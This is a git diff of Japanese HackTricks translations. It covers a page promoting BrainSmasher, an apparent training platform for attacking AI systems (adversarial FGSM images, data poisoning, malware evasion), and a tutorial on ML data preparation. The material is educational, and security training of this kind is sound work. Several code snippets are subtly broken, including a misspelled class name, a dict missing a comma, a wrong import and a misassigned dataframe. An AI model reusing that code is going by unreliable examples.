Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a.

This commit is contained in:
Translator 2024-02-04 16:27:51 +00:00
parent 8d2e883d6f
commit 8a349271b7
39 changed files with 2147 additions and 3455 deletions

View file

@ -1,48 +1,46 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 - **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、ハッキングトリックを共有する
</details> </details>
# プレゼンテーション # プレゼンテーション
**BrainSmasher**は、**ペネトレーションテスター、研究者、学生、A.I. サイバーセキュリティエンジニア**が商用A.I.アプリケーションの**エクスプロイト技術**を練習し学ぶために作られたプラットフォームです。顔認識、音声認識、アンサンブル画像分類、自動運転、マルウェア回避、チャットボット、データポイズニングなど、いくつかのシステムを再現した特別に作成されたラボで作業します。 **BrainSmasher**は、**ペンテスター、研究者、学生、A.I.サイバーセキュリティエンジニア**が、商用A.I.アプリケーションを**悪用**するためのすべての技術を練習し学ぶためのプラットフォームです。顔認識、音声認識、アンサンブル画像分類、自律走行、マルウェア回避、チャットボット、データ毒化など、複数のシステムを再現した特別に作成されたラボで作業します。
毎月、商用A.I.アプリケーションで見られるさまざまなトピックに関するラボが投稿され、**3つの異なる難易度**(チャレンジと呼ばれる)で、ユーザーがその背後にあるすべてのメカニズムを**理解し**、**異なる**エクスプロイト方法を練習するための**ガイド**となります。 商用A.I.アプリケーションで見つかるさまざまなトピックのラボが毎月投稿され、**3つの異なる難易度**(チャレンジと呼ばれる)が用意されており、ユーザーがそれらの背後にあるメカニクスを理解し、**異なる** **悪用**方法を練習するのを**ガイド**します。
A.I.アプリケーションは比較的新しいため、ラボの**難易度が高いチャレンジには、公に知られているエクスプロイト方法がない可能性**もあります。正しい解決策を見つけるのはあなた次第です。いくつかのチャレンジでは、"**標準的な**"**サイバーセキュリティ**技術と**機械学習**の敵対的攻撃を**組み合わせる**必要があるかもしれません ;) A.I.アプリケーションは比較的新しいため、ラボの**難しい難易度のチャレンジには一般に知られていない悪用方法がある**可能性もあります。そのため、正しい解決策を見つけるのはあなた次第です。一部のチャレンジには、**標準のサイバーセキュリティ**技術と**機械学習**の敵対的攻撃の**組み合わせ**が必要な場合もあります ;)
このプラットフォームは現在**ベータ**バージョンであり、今後は**有料**のコンペティション、**求人**の投稿、**ランキング**システム、さまざまなA.I.エクスプロイトトピックに関する**チュートリアル**、個人の**ラボ**や既存のA.I.ラボアプリケーションに対する異なるチャレンジを**提案**して**お金を稼ぐ**機会、コミュニティによって使用されるために、または既存のチャレンジを変更して、さまざまな攻撃に対する堅牢性を高めるために提案する機能も特徴となります。 **ベータ**版のプラットフォームには、将来的には**有料**の競技会、**求人**情報の掲載、**ランキング**システム、いくつかのA.I.悪用トピックの**チュートリアル**、個人の**ラボ**や異なるチャレンジを提案して**収益**を得る機会があります。既存のA.I.ラボアプリケーション用にコミュニティによって使用されるように提案し、既存のチャレンジを変更して、さまざまな攻撃に対する堅牢性を高めることも提案できます。
A.I.のエクスプロイトに関する**すべての資料と技術は、hacktricksの専用セクションにここに投稿されます** A.I.の悪用に関する**すべての資料と技術**は、Hacktricksの専用セクションに掲載されます
**ベータ**バージョンであり、上記の機能の実装を完了している間、サブスクリプションとすでに投稿されているすべてのラボとそれに関連する**チャレンジは無料**です。\ **ベータ**版で上記の機能の実装を完了する間、**サブスクリプション**とすべての既に投稿されたラボとそれに関連する**チャレンジは無料**です。\
**だから、[**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)で無料でA.I.のエクスプロイトを学び始めましょう**\ **無料でA.I.を悪用する方法を学び始めましょう** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\
楽しんで ;) 楽しんでください ;)
_HackTricksとCarlos Polopにこの機会を与えてくれたことに大きな感謝を_ _HacktricksとCarlos Polopにこの機会を与えてくれたBrA.I.nsmasherのWalter Mieleに大きな感謝_
> _BrA.I.nsmasherのWalter Miele_
# 登録チャレンジ # 登録チャレンジ
[**BrA.I.Smasher**](https://beta.brainsmasher.eu)に登録するためには、簡単なチャレンジを解決する必要があります[**こちら**](https://beta.brainsmasher.eu/registrationChallenge))。\ [**BrA.I.Smasher**](https://beta.brainsmasher.eu)に登録するには、簡単なチャレンジを解かなければなりません[**こちら**](https://beta.brainsmasher.eu/registrationChallenge))。\
パンダをより良く検出するニューラルネットワークと、それほど良くないものがあることを知っているとき、どのようにして一方のニューラルネットワークを混乱させるか考えてみてください。 パンダをよりよく検出する一方で、他方は悪く検出することを知っているときに、どのようにしてニューラルネットワークを混乱させるか考えてみてください...
{% hint style="info" %} {% hint style="info" %}
ただし、いつかチャレンジの**解決方法がわからなくなった場合**、または**解決したとしても**、公式の解決策を[**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing)でチェックしてください。 ただし、いつかはチャレンジを解決できない場合や、解決した場合でも、[**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing)で公式の解決策を確認してください。
{% endhint %} {% endhint %}
チャレンジを通過する**より簡単な方法**があることをお伝えしなければなりませんが、この**解決策**は**素晴らしい**です。なぜなら、画像に対する**Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack**を実行してチャレンジを通過する方法を学ぶからです。 チャレンジをパスする**簡単な方法**がありますが、この**解決策**は**素晴らしい**です。**Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images**を実行して、チャレンジをパスする方法を学ぶことができます。
# その他のチュートリアル # その他のチュートリアル
@ -50,17 +48,4 @@ _HackTricksとCarlos Polopにこの機会を与えてくれたことに大きな
[basic-captcha-breaker.md](basic-captcha-breaker.md) [basic-captcha-breaker.md](basic-captcha-breaker.md)
{% endcontent-ref %} {% endcontent-ref %}
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details> </details>

View file

@ -1,13 +1,13 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>

View file

@ -1,38 +1,38 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。 * **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
# 可能なデータの基本的なタイプ # 可能なデータの基本的なタイプ
データは**連続的****無限**の値)または**カテゴリカル**(名義)で、可能な値の量が**限定**されています。 データは **連続****無限**の値)または **カテゴリカル**(名義)であり、可能な値の量が **限られている**場合があります。
## カテゴリカルタイプ ## カテゴリカルタイプ
### バイナリ ### 2値
ただ**2つの可能な値**1または0。データセットで値が文字列形式"True"と"False")の場合、次のように数値を割り当てます: **2つの可能な値** のみ: 1 または 0。データセット内の値が文字列形式である場合例: "True" と "False")、これらの値に数値を割り当てる場合は:
```python ```python
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
``` ```
### **序数** ### **序数**
**値には順序があります**。例えば、1位、2位...のように。カテゴリが文字列の場合(例:"starter", "amateur", "professional", "expert")、バイナリケースで見たように、それらを数字にマッピングすることができます。 **値は順序に従います**、例えば: 1位、2位... カテゴリが文字列の場合(例: "初心者"、"アマチュア"、"プロフェッショナル"、"エキスパート")は、バイナリの場合と同様にそれらを数値にマッピングできます。
```python ```python
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3} column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
dataset['column2'] = dataset.column2.map(column2_mapping) dataset['column2'] = dataset.column2.map(column2_mapping)
``` ```
* **アルファベット列**では、より簡単に並べ替えることができます: * **アルファベットの列**の場合、より簡単に並べ替えることができます:
```python ```python
# First get all the uniq values alphabetically sorted # First get all the uniq values alphabetically sorted
possible_values_sorted = dataset.column2.sort_values().unique().tolist() possible_values_sorted = dataset.column2.sort_values().unique().tolist()
@ -40,20 +40,20 @@ possible_values_sorted = dataset.column2.sort_values().unique().tolist()
possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)} possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)}
dataset['column2'] = dataset.column2.map(possible_values_mapping) dataset['column2'] = dataset.column2.map(possible_values_mapping)
``` ```
### **周期的** ### **サイクリカル**
順序があるように**見える序数値**ですが、一方が他方より大きいという意味ではありません。また、数える**方向によって距離が異なります**。例:週の日々、日曜日は月曜日より「大きい」わけではありません。 **序数値のように見えます**が、順序があるため、一方が他よりも大きいという意味ではありません。また、**それらの間の距離は、数え方の方向に依存**します。例:曜日、日曜日は月曜日よりも「大きい」わけではありません。
* 周期的特徴をエンコードする**異なる方法**があり、一部のアルゴリズムでのみ機能する場合があります。**一般的に、ダミーエンコードが使用できます** * サイクリカル特徴をエンコードする**異なる方法**があり、いくつかのアルゴリズムだけで動作する場合があります。**一般的には、ダミーエンコードを使用できます**。
```python ```python
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
``` ```
### **日付** ### **日付**
日付は**連続する**変数です。繰り返されるため**周期的**と見なすことができます**または**時間が前のものより大きいため、**順序**変数と見なすこともできます 日付は**連続変数**です。**繰り返される**ため、**循環的**な変数として見ることができます。また、**順序**変数として見ることもできます(時間は前の時間よりも大きいため)
* 通常、日付は**インデックス**として使用されます * 通常、日付は**インデックス**として使用されます
```python ```python
# Transform dates to datetime # Transform dates to datetime
dataset["column_date"] = pd.to_datetime(dataset.column_date) dataset["column_date"] = pd.to_datetime(dataset.column_date)
@ -81,26 +81,26 @@ dataset['weekday'] = dataset.transaction_date.dt.weekday
# get day names # get day names
dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name()) dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
``` ```
### 多カテゴリー/名義 ### マルチカテゴリ/名義
**2つ以上のカテゴリー**で、関連する順序がない。`dataset.describe(include='all')`を使用して、各特徴のカテゴリーについての情報を取得します。 **2つ以上のカテゴリ**があり、関連する順序がない。各特徴のカテゴリ情報を取得するには、`dataset.describe(include='all')`を使用します。
* **参照文字列**は**例を識別する列**です(人の名前のような。これは重複することがあります2人が同じ名前を持つ可能性があるためが、ほとんどはユニークです。このデータは**無用であり、削除されるべきです**。 * **参照文字列**は**例を識別する列**です(人の名前。これは重複する可能性があります同じ名前の2人がいるかもしれませんが、ほとんどはユニークです。このデータは**無用であり、削除する必要があります**。
* **キーカラム**は**テーブル間のデータをリンクするために使用されます**。この場合、要素はユニークです。このデータは**無用であり、削除されるべきです** * **キーカラム**は**テーブル間のデータをリンクするために使用**されます。この場合、要素はユニークです。このデータは**無用であり、削除する必要があります**
**多カテゴリー列を数値にエンコードする**ためにMLアルゴリズムが理解できるように)、**ダミーエンコーディングが使用されます****ワンホットエンコーディングは使用されません**。なぜなら、それは**完全多重共線性を避けることができない**からです)。 マルチカテゴリの列を数値に**エンコードする**ために(機械学習アルゴリズムが理解できるように)、**ダミーエンコーディングが使用**されます(そして**ワンホットエンコーディングは使用されません**、なぜなら**完全多重共線性を回避しない**からです)。
`pd.get_dummies(dataset.column1)`を使用して、**多カテゴリー列をワンホットエンコード**することができます。これにより、すべてのクラスがバイナリ特徴に変換され、**可能なクラスごとに新しい列が1つ作成されます**。そして、1つの列に**True値が割り当てられ**、残りはfalseになります。 `pd.get_dummies(dataset.column1)`を使用して、**マルチカテゴリの列をワンホットエンコード**できます。これにより、すべてのクラスがバイナリ特徴に変換され、これにより**可能なクラスごとに1つの新しい列**が作成され、1つの列に**True値が割り当てられ、残りはFalse**になります。
`pd.get_dummies(dataset.column1, drop_first=True)`を使用して、**多カテゴリー列をダミーエンコード**することができます。これにより、すべてのクラスがバイナリ特徴に変換され、**可能なクラスごとに新しい列が1つ作成されますが、最後の1つを除きます**。なぜなら、**最後の2列は最後に作成されたバイナリ列で「1」または「0」として反映される**からです。これにより、完全多重共線性を避け、列間の関係を減らします。 `pd.get_dummies(dataset.column1, drop_first=True)`を使用して、**マルチカテゴリの列をダミーエンコード**できます。これにより、すべてのクラスがバイナリ特徴に変換され、これにより**可能なクラスごとに1つの新しい列が作成され、最後の2つの列が最後に作成されたバイナリ列で「1」または「0」として反映**されます。これにより、完全多重共線性が回避され、列間の関係が減少します。
# 共線性/多重共線性 # 共線性/多重共線性
共線性は、**2つの特徴が互いに関連している**場合に現れます。多重共線性は、それらが2つ以上の場合に現れます。 共線性は**2つの特徴が互いに関連している**ときに発生します。多重共線性はそれが2つ以上の場合に発生します。
MLでは、**特徴が可能な結果と関連していることを望みますが、それらが互いに関連していることは望ません**。そのため、**ダミーエンコーディングは最後の2列を混合**、**ワンホットエンコーディングよりも優れています**。ワンホットエンコーディングはそれを行わず、多カテゴリー列のすべての新しい特徴間に明確な関係を作り出します。 機械学習では、**特徴が可能な結果と関連していることを望みますが、それらが互いに関連していることは望ましくありません**。そのため、**ダミーエンコーディングはその最後の2つの列を混合**、**ワンホットエンコーディングよりも優れています**。ワンホットエンコーディングは、マルチカテゴリの列からのすべての新しい特徴間に明確な関係を作成することはないためです。
VIFは**分散膨張因子**であり、**特徴の多重共線性を測定します**。値が**5以上である場合、2つ以上の共線性のある特徴のうちの1つを削除する必要があります**。 VIFは**分散膨張係数**であり、**特徴の多重共線性を測定**します。値が**5を超えると、2つ以上の共線性のある特徴の1つを削除する必要があります**。
```python ```python
from statsmodels.stats.outliers_influence import variance_inflation_factor from statsmodels.stats.outliers_influence import variance_inflation_factor
from statsmodels.tools.tools import add_constant from statsmodels.tools.tools import add_constant
@ -110,7 +110,7 @@ onehot_encoded = pd.get_dummies(dataset.column1)
X = add_constant(onehot_encoded) # Add previously one-hot encoded data X = add_constant(onehot_encoded) # Add previously one-hot encoded data
print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns)) print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns))
``` ```
# カテゴリ不均衡 # カテゴリ不均衡
これは、トレーニングデータにおいて**各カテゴリの量が同じでない**場合に発生します。 これは、トレーニングデータにおいて**各カテゴリの量が同じでない**場合に発生します。
```python ```python
@ -121,11 +121,11 @@ print(dataset.info())
# Get imbalance information of the target column # Get imbalance information of the target column
print(dataset.target_column.value_counts()) print(dataset.target_column.value_counts())
``` ```
不均衡には常に**多数クラス**と**少数クラス**が存在します。 不均衡の場合、常に**多数クラス**または**少数クラス**があります。
この問題を解決する主な方法は2つあります この問題を解決するための主な方法は2つあります
* **アンダーサンプリング**:多数クラスからランダムに選ばれたデータを削除し、少数クラスと同じサンプル数にします。 - **アンダーサンプリング**:多数クラスからランダムにデータを削除し、少数クラスと同じサンプル数にします。
```python ```python
from imblearn.under_sampling import RandomUnderSampler from imblearn.under_sampling import RandomUnderSampler
rus = RandomUserSampler(random_state=1337) rus = RandomUserSampler(random_state=1337)
@ -136,7 +136,7 @@ y = dataset.target_column
X_under, y_under = rus.fit_resample(X,y) X_under, y_under = rus.fit_resample(X,y)
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
* **オーバーサンプリング**: 少数クラスのデータを増やし、多数クラスと同じ数のサンプルを持つまで生成します * **Oversampling**: 少数クラスのデータを増やし、それが多数クラスと同じサンプル数になるまで
```python ```python
from imblearn.under_sampling import RandomOverSampler from imblearn.under_sampling import RandomOverSampler
ros = RandomOverSampler(random_state=1337) ros = RandomOverSampler(random_state=1337)
@ -147,15 +147,15 @@ y = dataset.target_column
X_over, y_over = ros.fit_resample(X,y) X_over, y_over = ros.fit_resample(X,y)
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
**`sampling_strategy`** 引数を使用して、**アンダーサンプルまたはオーバーサンプル**したい**割合**を指定できます(**デフォルトは1100%**で、少数クラスの数を多数クラスの数に等しくすることを意味します) **`sampling_strategy`**引数を使用して、**アンダーサンプリングまたはオーバーサンプリング**を行う**パーセンテージ**を指定できます(**デフォルトでは1100%**で、これは少数クラスの数を多数クラスと同じにすることを意味します)
{% hint style="info" %} {% hint style="info" %}
アンダーサンプリングまたはオーバーサンプリングは完璧ではありません。オーバー/アンダーサンプリングされたデータの統計(`.describe()`で取得)を元のデータと比較すると、**変更されていることがわかります。** したがって、オーバーサンプリングとアンダーサンプリングはトレーニングデータを変更しています。 アンダーサンプリングまたはオーバーサンプリングは完璧ではありません。オーバー/アンダーサンプリングされたデータの統計(`.describe()`で)を取得し、元のデータと比較すると、**変化していること**がわかります。したがって、オーバーサンプリングとアンダーサンプリングはトレーニングデータを変更しています。
{% endhint %} {% endhint %}
## SMOTE オーバーサンプリング ## SMOTEオーバーサンプリング
**SMOTE** は通常、データをオーバーサンプリングする**より信頼性の高い方法**です。 **SMOTE**は通常、データをオーバーサンプリングする**より信頼性の高い方法**です。
```python ```python
from imblearn.over_sampling import SMOTE from imblearn.over_sampling import SMOTE
@ -166,54 +166,46 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
dataset['target_column'] = y_smote dataset['target_column'] = y_smote
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
# に発生するカテゴリ # まれに発生するカテゴリ
想像してください、あるデータセットで目標クラスが**非常に少ない回数**で発生する場合を ターゲットクラスの1つが非常に少ない回数で発生するデータセットを想像してください
これは前のセクションのカテゴリの不均衡に似ていますが、稀に発生するカテゴリはその場合の「少数クラス」よりもさらに少なく発生します。**生の** **オーバーサンプリング**と**アンダーサンプリング**の方法もここで使用できますが、一般的にこれらの技術は**本当に良い結果をもたらすことはありません** これは前のセクションのカテゴリの不均衡と似ていますが、まれに発生するカテゴリはその場合の「少数クラス」よりもさらに少なく発生しています。**生の** **オーバーサンプリング****アンダーサンプリング** 方法もここで使用できますが、一般的にこれらのテクニックは**実際には良い結果を得ることができません**
## 重み ## 重み
いくつかのアルゴリズムでは、目標とするデータの重みを**変更することが可能**です。そのため、デフォルトでいくつかのデータがモデル生成時により重要となります。 一部のアルゴリズムでは、モデルを生成する際に、**対象データの重みを変更**して、デフォルトでより重要度の高いデータをいくつか取得することが可能です。
```python ```python
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
model = LogisticRegression(class_weight=weights) model = LogisticRegression(class_weight=weights)
``` ```
以下は、データの特徴量エンジニアリングに関するハッキング技術の本からの内容です。関連する英語テキストを日本語に翻訳し、同じマークダウンおよびHTML構文を保ちます。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行いません。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。 ## 主成分分析PCA - Principal Component Analysis
--- データの次元を削減するのに役立つ手法です。**異なる特徴を組み合わせ**、それらの量を**減らし**、**より有用な特徴を生成**します_計算量が少なくて済む_
**重みをオーバーサンプリング/アンダーサンプリング技術と組み合わせる**ことで、結果を改善しようと試みることができます。 結果として得られる特徴は人間には理解できないため、データを**匿名化**します。
## PCA - 主成分分析 # 不一致のラベルカテゴリ
データの次元を削減するのに役立つ方法です。**異なる特徴を組み合わせて**、それらの量を減らし、**より有用な特徴を生成します**_計算が少なくて済む_ データには、変換の失敗やデータの記入時のヒューマンエラーによる間違いがあるかもしれません
結果として得られる特徴は人間には理解できないため、データの**匿名化**も行います。 そのため、**スペルミスのある同じラベル**、**大文字小文字の違い**、**略語**などが見つかるかもしれません。例: _BLUE, Blue, b, bule_。これらのラベルエラーを、モデルのトレーニングの前に修正する必要があります。
# 不整合なラベルカテゴリ すべてのデータが正しくラベル付けされていることを確認することが非常に重要です。たとえば、データ内の1つのスペルミスがある場合、クラスをダミーエンコードすると、最終的な特徴に新しい列が生成され、**最終モデルに悪影響を与える**可能性があります。この例は、1つの列をワンホットエンコードして生成された列の名前を確認することで非常に簡単に検出できます。
データには、変換が失敗したり、データ入力時の人為的なエラーなどにより、誤りが含まれていることがあります。 # 欠損データ
そのため、**同じラベルがスペルミス**であったり、異なる**大文字小文字**であったり、**略語**であったりすることがあります。例_BLUE, Blue, b, bule_。モデルをトレーニングする前に、これらのラベルエラーをデータ内で修正する必要があります。 研究の一部のデータが欠落している場合があります。
これらの問題をクリーンにする方法として、すべてを小文字にして、スペルミスのラベルを正しいものにマッピングすることができます。 完全にランダムなデータがエラーのために欠落している可能性があります。これは**完全にランダムに欠落しているデータ****MCAR**)です。
**すべてのデータが正しくラベル付けされていることを確認することが非常に重要です**。なぜなら、たとえばデータのスペルミスが1つあると、クラスをダミーエンコーディングする際に、最終的な特徴に新しい列が生成され、**最終モデルに悪影響を及ぼす**からです。この例は、列をワンホットエンコーディングして作成された列の名前をチェックすることで非常に簡単に検出できます。 ランダムなデータが欠落している可能性があり、特定の詳細が欠落する可能性が高い要因があるかもしれません。たとえば、男性は年齢を教えることが多いが、女性は教えないことがよくあります。これは**ランダムに欠落しているデータ****MAR**)と呼ばれます。
# データの欠落 最後に、データが**ランダムに欠落していない****MNAR**)可能性があります。データの値はデータの存在確率と直接関係しています。たとえば、恥ずかしいことを測定したい場合、誰かが恥ずかしいほど、それを共有する可能性は低くなります。
研究の一部のデータが欠落している可能性があります。 **最初の2つのカテゴリ**の欠損データは**無視できる**かもしれません。しかし、**3番目**のものは、**影響を受けていないデータのみを考慮する**か、**欠損データをどうにかモデル化する**必要があります。
何らかのエラーで完全にランダムなデータが欠落していることがあります。この種のデータは**完全にランダムに欠落****MCAR**)です。 欠損データについて知る方法の1つは、`.info()` 関数を使用することです。これにより、**行数だけでなく、カテゴリごとの値の数**が示されます。あるカテゴリに値の数が行数よりも少ない場合、データが欠落している可能性があります。
ランダムなデータが欠落しているが、特定の詳細が欠落しやすい何かがある場合もあります。例えば、男性は年齢を教えることが多いが、女性はそうではない場合です。これは**ランダムに欠落****MAR**)と呼ばれます。
最後に、**ランダムではなく欠落****MNAR**)しているデータがあります。データの値は、データを持っている確率と直接関連しています。例えば、恥ずかしいことを測定したい場合、人が恥ずかしさを感じるほど、それを共有する可能性は低くなります。
欠落データの**最初の2つのカテゴリ**は**無視可能**です。しかし、**3つ目のカテゴリ**は、影響を受けていないデータの**一部分のみを考慮する**か、何らかの方法で**欠落データをモデル化しようとする**必要があります。
欠落データについて知る一つの方法は、`.info()`関数を使用することです。これは**行数だけでなく、カテゴリごとの値の数も示します**。あるカテゴリの値が行数より少ない場合、データが欠落していることを意味します:
```bash ```bash
# Get info of the dataset # Get info of the dataset
dataset.info() dataset.info()
@ -221,29 +213,29 @@ dataset.info()
# Drop all rows where some value is missing # Drop all rows where some value is missing
dataset.dropna(how='any', axis=0).info() dataset.dropna(how='any', axis=0).info()
``` ```
